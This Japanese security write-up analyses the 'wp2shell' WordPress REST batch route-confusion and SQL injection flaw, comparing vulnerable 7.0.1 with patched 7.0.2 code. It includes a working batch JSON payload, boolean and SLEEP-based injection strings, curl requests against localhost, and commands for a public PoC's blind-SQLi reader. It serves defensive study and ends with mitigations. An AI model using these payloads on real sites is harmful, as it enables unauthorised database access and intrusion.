AI利用に関する注記
この記事は、生成AIを利用して調査、コード解析、検証手順の整理および文章作成を行ったものです。記載した検証結果は、隔離したローカル環境で実際に確認した内容に基づいていますが、内容の完全性や正確性を保証するものではありません。実環境へ適用する場合は、WordPress公式のセキュリティ情報および一次資料も必ず確認してください。また、再現手順は自分が管理する環境、または明示的な許可を得た環境でのみ使用してください。
はじめに
2026年7月、WordPress Coreの未認証RCEとして「wp2shell」が公表されました。
WordPress公式は、この問題を次のように説明しています。
REST API batch-route confusion and SQL injection issue leading to Remote Code Execution
影響を受けるバージョンは次のとおりです。
| 系列 | 影響を受けるバージョン | 修正版 |
|---|---|---|
| 6.9.x | 6.9.0〜6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0〜7.0.1 | 7.0.2 |
本記事では、隔離したローカルDocker環境を使い、次の範囲を検証します。
- REST Batch APIにおけるroute confusion
- route confusionを二段階で利用したRESTパラメータ検証の回避
-
WP_Query::author__not_inへの未認証SQLインジェクション - WordPress 7.0.1と7.0.2の挙動比較
- 公開PoC
Icex0/wp2shell-pocのコード監査と安全な範囲での検証
発見者が確認した未認証RCEの最終チェーンは、本記事執筆時点では公開されていません。また、公開PoCに含まれるshell機能は、管理者認証後にプラグインをアップロードする補助機能であり、未認証RCEの最終段階そのものではありません。
注意事項
この記事の手順は、自分が管理する隔離されたローカル環境だけを対象としてください。許可のないWebサイトへ再現リクエストを送信してはいけません。
本検証では、次の操作を行っていません。
-
INSERT、UPDATE、DELETE、DROP、TRUNCATE - 実データや認証情報の抽出
- パスワードハッシュのクラック
- Webシェルの設置
- OSコマンドの実行
検証構成
比較のため、次の2環境をそれぞれ独立したDockerコンテナとして起動します。
| 用途 | WordPress | URL例 |
|---|---|---|
| 脆弱版 | 7.0.1 | http://127.0.0.1:18081 |
| 修正版 | 7.0.2 | http://127.0.0.1:18082 |
両環境は別々の一時DBを使用し、HTTPポートは127.0.0.1にだけバインドします。脆弱版が自動的に修正版へ更新されないよう、検証中はCoreの自動更新を無効化します。
脆弱性の全体像
今回確認した範囲のデータフローは次のとおりです。
未認証HTTPリクエスト
↓
/batch/v1
↓ 解析不能なpathを先頭へ挿入
$requests / $matches / $validationの添字ずれ
↓
別ルートのハンドラが攻撃者制御リクエストを処理
↓ 二段目のroute confusion
投稿一覧ハンドラへ未検証のauthor_excludeが到達
↓
author_exclude → WP_Query::author__not_in
↓
スカラー文字列がSQLへ直接連結
↓
未認証SQLインジェクション
ポイントは、単独のバグではなく、次の2つが連鎖することです。
- REST Batch処理で並行配列の添字がずれる
-
WP_Queryがスカラーのauthor__not_inを整数化せずSQLへ連結する
問題1:REST Batchの配列添字ずれ
解析エラーの格納
WordPress 7.0.1のwp-includes/rest-api/class-wp-rest-server.phpでは、Batch要素のpathをwp_parse_url()で解析します。
foreach ( $batch_request['requests'] as $args ) {
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error(
'parse_path_failed',
__( 'Could not parse the path.' ),
array( 'status' => 400 )
);
continue;
}
$single_request = new WP_REST_Request(
$args['method'] ?? 'POST',
$parsed_url['path']
);
$requests[] = $single_request;
}
解析できないパスは、WP_REST_RequestではなくWP_Errorとして$requestsへ追加されます。この処理自体は問題ではありません。
$matchesだけ要素が欠落する
問題は、後続のハンドラ照合処理です。
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
}
WP_Errorの場合、$validationには要素を追加しますが、$matchesには追加しません。
その結果、配列は次のようにずれます。
| 添字 | $requests |
$validation |
$matches(7.0.1) |
|---|---|---|---|
| 0 | 解析エラー | 解析エラー | リクエスト1のハンドラ |
| 1 | リクエスト1 | リクエスト1の検証結果 | リクエスト2のハンドラ |
| 2 | リクエスト2 | リクエスト2の検証結果 | 要素なし |
後段は、元の$requestsの添字で$matchesを参照します。
foreach ( $requests as $i => $single_request ) {
if ( is_wp_error( $single_request ) ) {
continue;
}
$match = $matches[ $i ];
list( $route, $handler ) = $match;
$result = $this->respond_to_request(
$single_request,
$route,
$handler,
$error
);
}
これにより、「リクエスト1のパラメータを保持するオブジェクト」が「リクエスト2のハンドラ」で処理されます。これがroute confusionです。
WordPress 7.0.2のroute confusion修正
7.0.2では、WP_Errorの場合も$matchesへ要素を追加します。
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$matches[] = $single_request;
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
}
追加された重要な1行は次です。
$matches[] = $single_request;
これにより、$requests、$matches、$validationの要素数と添字が一致します。
route confusionの非破壊再現
次のJSONをroute-confusion-request.jsonとして保存します。
{
"validation": "normal",
"requests": [
{
"method": "POST",
"path": "http://:"
},
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{
"method": "GET",
"path": "/"
}
]
}
},
{
"method": "POST",
"path": "/batch/v1",
"body": {
"requests": []
}
}
]
}
脆弱版へ送信します。
curl -i -sS -X POST 'http://127.0.0.1:18081/?rest_route=/batch/v1' \
-H 'Content-Type: application/json' \
--data-binary @route-confusion-request.json
WordPress 7.0.1では、/wp/v2/postsとして指定した2番目のリクエストが、後続の/batch/v1ハンドラで処理されます。そのため、2番目の応答が入れ子のBatchレスポンスになります。
{
"body": {
"responses": [
{
"body": {
"code": "rest_batch_not_allowed"
},
"status": 400
}
]
},
"status": 207
}
修正版へ同じJSONを送信します。
curl -i -sS -X POST 'http://127.0.0.1:18082/?rest_route=/batch/v1' \
-H 'Content-Type: application/json' \
--data-binary @route-confusion-request.json
7.0.2では2番目の要素が本来の投稿作成リクエストとして処理され、未認証のため401で拒否されます。
{
"body": {
"code": "rest_cannot_create",
"data": {
"status": 401
}
},
"status": 401
}
問題2:author__not_inのSQL直接連結
投稿REST APIでは、外部パラメータauthor_excludeをWP_Queryのauthor__not_inへ変換します。
$parameter_mappings = array(
'author' => 'author__in',
'author_exclude' => 'author__not_in',
'exclude' => 'post__not_in',
'include' => 'post__in',
);
通常は、RESTスキーマによってauthor_excludeが整数配列として検証されます。しかし、route confusionによって別ルートの検証結果と投稿一覧ハンドラが組み合わされると、未検証のスカラー文字列を投稿ハンドラへ到達させられます。
WordPress 7.0.1のwp-includes/class-wp-query.phpには、次の処理があります。
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique(
array_map( 'absint', $query_vars['author__not_in'] )
);
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode(
',',
(array) $query_vars['author__not_in']
);
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
入力が配列の場合だけabsint()を通しています。入力がスカラー文字列の場合は、整数化されずSQLへ直接連結されます。
例えば、次の文字列が到達した場合:
1) OR 1=1 --
SQL条件は次のようになります。
AND wp_posts.post_author NOT IN (1) OR 1=1 -- )
WordPress 7.0.2のSQLi修正
7.0.2では、入力形式にかかわらずwp_parse_id_list()を通します。
if ( ! empty( $query_vars['author__not_in'] ) ) {
$author__not_in_id_list = wp_parse_id_list(
$query_vars['author__not_in']
);
if ( count( $author__not_in_id_list ) > 0 ) {
sort( $author__not_in_id_list );
$where .= sprintf(
" AND {$wpdb->posts}.post_author NOT IN (%s) ",
implode( ',', $author__not_in_id_list )
);
$query_vars['author__not_in'] = $author__not_in_id_list;
}
}
同じ入力に対する比較は次のようになりました。
7.0.1: post_author NOT IN (1) OR 1=1 -- )
7.0.2: post_author NOT IN (0,1)
SQLインジェクションの非破壊確認
本検証では、Batch route confusionを二段階で使用します。
- 外側のBatchで、投稿APIのリクエストをBatchハンドラとして処理させる
- 内側のBatchで、未検証の
author_excludeを持つリクエストを投稿一覧ハンドラとして処理させる
真偽値ペイロードを使うと、WordPress 7.0.1では実際に次のSQL条件が実行されました。
WHERE 1=1
AND wp_posts.post_author NOT IN (1) OR 1=1 -- )
AND ((wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish')))
投稿一覧APIの応答には、通常のpostだけでなく、本来除外されるpageも含まれました。これは、注入したOR 1=1がSQLの意味を実際に変化させた証拠です。
時間ベースで確認する場合
検索結果を変更せず、時間差で到達を確認する場合は、短いSLEEPを使用できます。
1) OR (SELECT SLEEP(0.2)) --
ただし、SLEEPは対象行ごとに評価される可能性があります。データを書き換えない一方で、対象行数や並列数に応じてDB接続を占有するため、必ず短い時間・単発・ローカル環境だけに限定してください。
絶対時間ではなく、同じマシンで脆弱版と修正版の相対差を比較します。
curl -sS -o /dev/null \
-w 'http_code=%{http_code} time_total=%{time_total}\n' \
-X POST 'http://127.0.0.1:18081/?rest_route=/batch/v1' \
-H 'Content-Type: application/json' \
--data-binary @sqli-sleep-route-confusion-request.json
公開PoCの検証
公開PoCとして、Icex0/wp2shell-pocを確認しました。
実行前の監査
PoCのPythonソースを実行前に確認しました。
- Python標準ライブラリだけを使用する
- 指定した対象URLまたは明示したプロキシ以外へ通信しない
- 通常の
checkは公開マーカーと無害なroute confusionパターンを確認する -
--confirm-sqliを付けた場合だけ時間差SQLiを送信する -
readはblind SQLiでDB値を抽出する -
shellは管理者認証後にプラグインWebシェルを設置する
read --preset usersとshellは影響が大きいため実行しません。
route confusionの確認
プロジェクトルールに合わせ、uvで実行します。
git clone https://github.com/Icex0/wp2shell-poc.git
cd wp2shell-poc
uv run --python 3.12 wp2shell.py check \
http://127.0.0.1:18081 \
--rest-route
脆弱版では、次の3マーカーが揃います。
parse_path_failed
block_cannot_read
rest_batch_not_allowed
出力例:
VULNERABLE — batch route-confusion behavior detected.
7.0.2ではblock_cannot_readが現れず、PoCはroute confusionパターンを検出しません。
時間差SQLiの確認
PoCの既定値は3秒・3ペアですが、ローカル検証では負荷を抑えるため、1秒・1ペアへ制限します。
uv run --no-sync wp2shell.py check \
http://127.0.0.1:18081 \
--rest-route \
--confirm-sqli \
--sleep 1 \
--samples 1
確認できる出力例:
SQL timing confirmed — baseline 0.02s, injected 1.04s.
応答時間は環境によって異なります。重要なのは、ベースラインと遅延ペイロードの相対差です。
DB読取り機能の最小確認
機密情報を取得せず、blind SQLiによる抽出機能だけを確認するため、固定値を読み取ります。
uv run --no-sync wp2shell.py read \
http://127.0.0.1:18081 \
--rest-route \
--query 'SELECT 7' \
--max-length 2
出力例:
Reading: SELECT 7
Result: 7
8 request(s) sent.
これにより、単なる時間遅延だけでなく、未認証のblind SQLiで攻撃者が指定したスカラーSQL式の結果を復元できることが分かります。
公開PoCのshellは未認証RCEそのものではない
PoCのshell処理は次の流れです。
SQLiでWordPressユーザーとパスワードハッシュを取得
↓
別途、平文パスワードを回復
↓
WordPressへ管理者としてログイン
↓
通常のプラグインアップロード機能を使用
↓
PHP Webシェルを設置
つまり、公開PoCのshellは、取得した認証情報を利用するpost-authの影響実証です。Searchlight Cyberが確認した「前提条件なしの未認証RCE」の最終段階は、このPoCには含まれていません。
REST処理の再入防止
WordPress 7.0.2では、RESTディスパッチ中に新しいトップレベルREST処理を始めない防御も追加されています。
if ( isset( $GLOBALS['wp_rest_server'] )
&& $GLOBALS['wp_rest_server'] instanceof WP_REST_Server
&& $GLOBALS['wp_rest_server']->is_dispatching()
) {
return;
}
public function serve_request( $path = null ) {
if ( $this->is_dispatching() ) {
return false;
}
}
この修正は、REST処理の再入がRCEチェーンに関係した可能性を示します。ただし、完全なRCE手順は公開されていないため、最終チェーンとの関係は断定できません。
検証結果まとめ
| 検証項目 | WordPress 7.0.1 | WordPress 7.0.2 |
|---|---|---|
| route confusion | 再現 | 再現せず |
author__not_in SQLi |
再現 | 整数IDへ正規化 |
| 時間差SQLi | 遅延差を確認 | SQLへ到達せず |
| blind SQL値読取り | 固定値の復元に成功 | 未実施 |
| 未認証RCE最終段階 | 未検証・非公開 | 修正済みと公式発表 |
対策
最優先はWordPress Coreの更新です。
- 6.9系:6.9.5以上
- 7.0系:7.0.2以上
すぐに更新できない場合の一時対策として、匿名アクセスから次の両方を遮断します。
/wp-json/batch/v1
?rest_route=/batch/v1
片方だけでは、もう一方のルーティング形式から到達できる可能性があります。REST API全体を無効化する方法もありますが、正規の連携機能へ影響するため、恒久対策ではなく更新までの一時措置と考えるべきです。
まとめ
wp2shellで確認した問題は、REST Batch APIの単純な入力検証不足ではありません。
- 解析エラーによって並行配列の添字がずれる
- 別リクエストのハンドラが攻撃者制御のリクエストを処理する
- 本来適用されるRESTパラメータ検証を回避する
-
author_excludeが未検証のままWP_Query::author__not_inへ到達する - スカラー文字列がSQLへ直接連結される
という複数の不備が連鎖しています。
ローカル検証では、WordPress 7.0.1に対するroute confusion、SQL条件の改変、時間差SQLi、blind SQL値読取りまで再現できました。同じ入力を7.0.2へ送ると、route confusionは成立せず、author__not_inも整数IDリストへ正規化されました。